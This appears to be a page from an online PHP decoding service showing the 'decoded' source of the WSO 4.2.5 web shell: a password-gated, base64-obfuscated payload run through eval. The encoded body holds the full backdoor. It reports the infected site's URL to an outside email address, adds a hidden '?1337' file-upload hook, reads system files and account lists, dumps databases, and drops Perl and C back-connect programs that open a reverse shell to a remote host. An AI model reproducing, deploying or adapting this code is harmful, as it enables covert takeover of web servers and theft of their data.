Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* WSO 4.2.5 (Web Shell) */ $ = "63a9f0ea7bb98050796b649e85481845"; //Default pass..

Decoded Output download

<?php 
/* WSO 4.2.5 (Web Shell) */ 
$ = "63a9f0ea7bb98050796b649e85481845"; //Default password is "root" 
$h3x = "CiTilpggPSB0cnVlOwok4pacID0gJ1VURi04JzsKJOKWmiA9ICdGaWxlc01hbic7CiTilpkgPSBtZDUoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCmlmICghaXNzZXQoJF9TRVNTSU9OWyd0cmltaXRlJ10pKSB7CiAgICAkdXJsID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiAgICBAbWFpbCgiYWxiYW5pYW5oNGNrM3JAZ21haWwuY29tIiwgIldTTyBTaGVsbCIsICR1cmwpOwogICAgJF9TRVNTSU9OWyd0cmltaXRlJ10gPSB0cnVlOwp9CgovLyogcGF0Y2ggZmlsZS5waHA/MTMzNwogaWYoaXNzZXQoJF9HRVRbIjEzMzciXSkpCiB7CiAgZWNobyI8Zm9udCBjb2xvcj0jZmZmZmZmPiIucGhwX3VuYW1lKCkuIiI7CiAgcHJpbnQgIlxuIjskZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKICBlY2hvICI8YnI+RGlzYWJsZVBIUD0iLiRkaXNhYmxlX2Z1bmN0aW9uczsgcHJpbnQgIlxuIjsKICBlY2hvIjxicj48Zm9ybSBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+IjsKICBlY2hvIjxpbnB1dCB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCBuYW1lPWsgdHlwZT1zdWJtaXQgaWQ9ayB2YWx1ZT11cGxvYWQ+PGJyPiI7CiAgICBpZigkX1BPU1Rb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ICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAk4pafKQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsKICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICTilp8pCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJOKWnykpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7CiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwoJCQkJc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwogICAgICAgICAgICB9Cgl9IGVsc2UgewoJCXNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsKCQlzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgYWNjb3VudHMnKSkpOw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T09LSUVbJ2FjdCddID09ICd6aXAnKSB7CgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXS4kZikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2MnXS4kZiwgJGYpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgewoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2MnXS4kZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSB7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7CiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgICAgICBleCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TV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CQl9CgkJZnVuY3Rpb24gZHVtcCgkdGFibGUsICRmcCA9IGZhbHNlKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCSRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOwoJCQkJCSRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsKCQkJCQkkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsKICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOwogICAgICAgICAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7CgkJCQkJd2hpbGUoJOKWnyA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgJSAxMDAwID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrPT4kdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHYgPT09IG51bGwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10gPSAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfaW50KCR2KSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICR2OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICTilp9bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAiYCIuJGsuImAiOwoJCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRoZWFkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICTilp8pLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICTilp8pLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwoJCQkJCX0KICAgICAgICAgICAgICAgICAgICBpZighJGhlYWQpCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7CgkJCQkJd2hpbGUoJOKWnyA9ICR0aGlzLT5mZXRjaCgpKSB7CgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrPT4kdikgewoJCQkJCQkJJOKWn1ska10gPSAiJ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aCAoJGRhbmdlciBhcyAk4pafKQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsKICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRGFuZ2VyJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIGFzICTilp8pCiAgICAgICAgICAgICAgICAgICAgaWYod2hpY2goJOKWnykpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAk4pafOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgc2hvd1NlY1BhcmFtKCdIREQgc3BhY2UnLCBleCgnZGYgLWgnKSk7CiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwoJCQkJc2hvd1NlY1BhcmFtKCdNb3VudCBvcHRpb25zJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2ZzdGFiJykpOwogICAgICAgICAgICB9Cgl9IGVsc2UgewoJCXNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsKCQlzaG93U2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgYWNjb3VudHMnKSkpOwoJCXNob3dTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsIGljb252KCdDUDg2NicsICdVVEYtOCcsZXgoJ25ldCB1c2VyJykpKTsKCX0KCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7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Ck7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRfUE9TVFsncDInXSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXS4kZikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2MnXS4kZiwgJGYpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3VuemlwJykgewoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2MnXS4kZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSB7CiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7CiAgICAgICAgICAgICAgICAgICAgJF9DT09LSUVbJ2YnXSA9IGFycmF5X21hcCgnZXNjYXBlc2hlbGxhcmcnLCAkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgICAgICBleCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDInXSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9DT09LSUVbJ2YnXSkpOwogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CgkJCQl9CgkJCQl1bnNldCgkX0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pcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOwoJCQkJCSRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsKCQkJCQkkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsKICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOwogICAgICAgICAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7CgkJCQkJd2hpbGUoJOKWnyA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgJSAxMDAwID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrPT4kdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHYgPT09IG51bGwpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10gPSAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoaXNfaW50KCR2KSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICR2OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICTilp9bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAiYCIuJGsuImAiOwoJCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRoZWFkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICTilp8pLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICTilp8pLicpJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwoJCQkJCX0KICAgICAgICAgICAgICAgICAgICBpZighJGhlYWQpCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7CgkJCQkJd2hpbGUoJOKWnyA9ICR0aGlzLT5mZXRjaCgpKSB7CgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrPT4kdikgewoJCQkJCQkJJOKWn1ska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNbXSA9ICRrOwoJCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJy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YmMuYyIpOwoJCQlAdW5saW5rKCIvdG1wL2JjLmMiKTsKCQkJJOKWliAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIi5leCgicHMgYXV4IHwgZ3JlcCBiYyIpLiI8L3ByZT4iOwoJCX0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsKCQkJY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7CgkJCSTilpYgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIi5leCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOwoJCX0KCX0KCWVjaG8gJzwvZGl2Pic7CgloYXJkRm9vdGVyKCk7Cn0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApCglpZihpc3NldCgk4paaKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAk4paaKSkKCQkkX1BPU1RbJ2EnXSA9ICTilpo7CgllbHNlCgkJJF9QT1NUWydhJ10gPSAnRmlsZXNNYW4nOwppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKQoJY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7Cg";
eval(base64_decode($h3x));
?>

Function Calls

None

Variables

None

Stats

MD5 d44dfc1c325c801fed74cfebf23206db
Eval Count 0
Decode Time 1258 ms